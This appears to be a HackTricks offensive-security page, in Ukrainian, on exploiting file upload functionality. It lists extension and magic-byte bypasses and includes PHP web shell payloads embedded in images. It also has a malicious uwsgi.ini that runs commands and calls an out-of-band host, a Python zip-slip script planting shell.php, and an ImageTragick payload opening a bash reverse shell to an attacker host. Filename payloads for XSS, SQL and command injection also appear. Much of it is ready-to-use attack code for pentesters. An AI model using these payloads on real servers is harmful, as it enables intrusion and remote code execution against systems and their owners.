File Upload
Reading time: 16 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Upload General Methodology
Інші корисні розширення:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- Якщо це застосовно, перевірте попередні розширення. Також протестуйте їх, використовуючи деякі великі літери: pHp, .pHP5, .PhAr ...
- Перевірте додавання дійсного розширення перед виконуваним розширенням (використовуйте також попередні розширення):
- file.png.php
- file.png.Php5
- Спробуйте додати спеціальні символи в кінці. Ви можете використовувати Burp для брутфорсу всіх ascii та Unicode символів. (Зверніть увагу, що ви також можете спробувати використовувати раніше згадані розширення)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- Спробуйте обійти захист, обманюючи парсер розширень на стороні сервера за допомогою технік, таких як подвоєння розширення або додавання сміттєвих даних (нульові байти) між розширеннями. Ви також можете використовувати попередні розширення для підготовки кращого корисного навантаження.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Додайте ще один рівень розширень до попередньої перевірки:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Спробуйте поставити виконуване розширення перед дійсним розширенням і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням _.php**_, але не обов'язково закінчується на .php** виконає код):
- ex: file.php.png
- Використання NTFS альтернативного потоку даних (ADS) у Windows. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено порожній файл з забороненим розширенням (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “::$data” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (.e.g. “file.asp::$data.”)
- Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
Bypass Content-Type, Magic Number, Compression & Resizing
- Обійти Content-Type перевірки, встановивши значення заголовка Content-Type на: image/png , text/plain , application/octet-stream
- Content-Type словник: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Обійти перевірку магічного числа, додавши на початку файлу байти реального зображення (заплутати команду file). Або введіть оболонку в метадані:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
або ви також можете ввести корисне навантаження безпосередньо в зображення:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- Якщо сжаття додається до вашого зображення, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як PHP-GD, попередні техніки не будуть корисні. Однак ви можете використовувати техніку PLTE chunk визначену тут для вставки деякого тексту, який переживе стиснення.
- Github з кодом
- Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, функції PHP-GD
imagecopyresized
абоimagecopyresampled
. Однак ви можете використовувати техніку IDAT chunk визначену тут для вставки деякого тексту, який переживе стиснення. - Github з кодом
- Інша техніка для створення корисного навантаження, яке переживе зміну розміру зображення, використовуючи функцію PHP-GD
thumbnailImage
. Однак ви можете використовувати техніку tEXt chunk визначену тут для вставки деякого тексту, який переживе стиснення. - Github з кодом
Other Tricks to check
- Знайдіть вразливість для перейменування вже завантаженого файлу (щоб змінити розширення).
- Знайдіть вразливість Local File Inclusion для виконання бекдору.
- Можливе розкриття інформації:
- Завантажте декілька разів (і в один і той же час) той самий файл з тим самим ім'ям
- Завантажте файл з ім'ям файлу або папки, яка вже існує
- Завантаження файлу з “.”, “..”, або “…” як його ім'я. Наприклад, в Apache у Windows, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
- Завантажте файл, який може бути не легко видалити, наприклад, “…:.jpg” у NTFS. (Windows)
- Завантажте файл у Windows з недійсними символами, такими як
|<>*?”
в його імені. (Windows) - Завантажте файл у Windows, використовуючи зарезервовані (заборонені) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
- Спробуйте також завантажити виконуваний (.exe) або .html (менш підозрілий), який виконає код, коли випадково відкриється жертвою.
Special extension tricks
Якщо ви намагаєтеся завантажити файли на PHP сервер, ознайомтеся з трюком .htaccess для виконання коду.
Якщо ви намагаєтеся завантажити файли на ASP сервер, ознайомтеся з трюком .config для виконання коду.
Файли .phar
схожі на .jar
для java, але для php, і можуть бути використані як php файл (виконуючи його з php або включаючи його в скрипт...)
Розширення .inc
іноді використовується для php файлів, які використовуються лише для імпорту файлів, тому в якийсь момент хтось міг дозволити виконання цього розширення.
Jetty RCE
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати RCE, оскільки нові *.xml та *.war автоматично обробляються. Отже, як зазначено на наступному зображенні, завантажте XML файл до $JETTY_BASE/webapps/
і чекайте оболонку!
uWSGI RCE
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: uWSGI RCE Exploitation.
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації .ini
. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів і операторів. Зокрема, оператор '@', який використовується як @(filename)
, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації .ini
.
Розгляньте наступний приклад шкідливого файлу uwsgi.ini
, що демонструє різні схеми:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Важливо зрозуміти м'який характер парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
wget File Upload/SSRF Trick
В деяких випадках ви можете виявити, що сервер використовує wget
для завантаження файлів, і ви можете вказати URL. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, ця перевірка може бути обійдена.
Максимальна довжина імені файлу в linux становить 255, однак wget обрізає імена файлів до 236 символів. Ви можете завантажити файл під назвою "A"*232+".php"+".gif", це ім'я файлу обійде перевірку (оскільки в цьому прикладі ".gif" є допустимим розширенням), але wget
перейменує файл на "A"*232+".php".
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Зверніть увагу, що інший варіант, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб HTTP сервер перенаправляв на інший файл, тому початковий URL обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це не спрацює якщо wget не використовується з параметром --trust-server-names
, оскільки wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальному URL.
Інструменти
- Upload Bypass - потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
Від завантаження файлів до інших вразливостей
- Встановіть filename на
../../../tmp/lol.png
і спробуйте досягти перетворення шляху - Встановіть filename на
sleep(10)-- -.jpg
і ви можете досягти SQL-ін'єкції - Встановіть filename на
<svg onload=alert(document.domain)>
, щоб досягти XSS - Встановіть filename на
; sleep 10;
, щоб протестувати деякі ін'єкції команд (більше триків ін'єкцій команд тут) - XSS в завантаженні файлів зображень (svg)
- JS файл завантаження + XSS = експлуатація сервісних працівників
- XXE в завантаженні svg
- Відкрите перенаправлення через завантаження svg файлу
- Спробуйте різні svg payloads з https://github.com/allanlw/svg-cheatsheet****
- Відома вразливість ImageTrick
- Якщо ви можете вказати веб-серверу, щоб отримати зображення з URL, ви можете спробувати зловживати SSRF. Якщо це зображення буде збережено на якомусь публічному сайті, ви також можете вказати URL з https://iplogger.org/invisible/ і вкрасти інформацію про кожного відвідувача.
- XXE та CORS обхід з завантаженням PDF-Adobe
- Спеціально підготовлені PDF для XSS: наступна сторінка показує, як впровадити PDF дані для отримання виконання JS. Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
- Завантажте [eicar](https://secure.eicar.org/eicar.com.txt) вміст, щоб перевірити, чи є на сервері якийсь антивірус
- Перевірте, чи є якийсь ліміт розміру при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з тут):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Збережений XSS / SSRF / XXE
- GIF: Збережений XSS / SSRF
- CSV: Ін'єкція CSV
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : Ін'єкція HTML / XSS / Відкрите перенаправлення
- PNG / JPEG: Атака піксельного затоплення (DoS)
- ZIP: RCE через LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Розширення Burp
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Магічні заголовкові байти
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
Дивіться https://en.wikipedia.org/wiki/List_of_file_signatures для інших типів файлів.
ZIP/TAR файл автоматично розпакований при завантаженні
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
Символьне посилання
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Розпакування в різні папки
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP-архіву можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на evilarc на GitHub. Утиліту можна використовувати, як показано:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Додатково, трик з symlink з evilarc є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, /flag.txt
, слід створити symlink на цей файл у вашій системі. Це забезпечує те, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Зловживання стисненням для спрейінгу файлів
Для отримання додаткової інформації перегляньте оригінальну публікацію в: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Створення PHP Shell: PHP код написаний для виконання команд, переданих через змінну
$_REQUEST
.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- Спрайінг файлів та створення стиснутого файлу: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Модифікація за допомогою Hex Editor або vi: Імена файлів всередині zip змінюються за допомогою vi або hex редактора, змінюючи "xxA" на "../" для переходу між каталогами.
:set modifiable
:%s/xxA/..\//g
:x!
ImageTragic
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість (ImageMagick , 7.0.1-1) (з експлойту)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Вбудовування PHP Shell у PNG
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції imagecopyresized
та imagecopyresampled
з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, наведено в наступній статті: "Кодування веб-оболонок у частинах PNG IDAT". Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації в: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Поліглотні файли
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є GIFAR, гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження—як JPEG, GIF або DOC—щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації в: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Завантаження дійсних JSON, як якщо б це був PDF
Як уникнути виявлення типу файлу, завантажуючи дійсний JSON-файл, навіть якщо це не дозволено, підробляючи PDF-файл (техніки з цього блогу):
mmmagic
бібліотека: Якщо байти магії%PDF
знаходяться в перших 1024 байтах, це дійсно (отримати приклад з посту)pdflib
бібліотека: Додати підроблений PDF-формат всередині поля JSON, щоб бібліотека вважала, що це PDF (отримати приклад з посту)file
бінарний: Він може прочитати до 1048576 байтів з файлу. Просто створіть JSON, більший за це, щоб він не міг розібрати вміст як JSON, а потім всередині JSON помістіть початкову частину справжнього PDF, і він подумає, що це PDF
Посилання
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.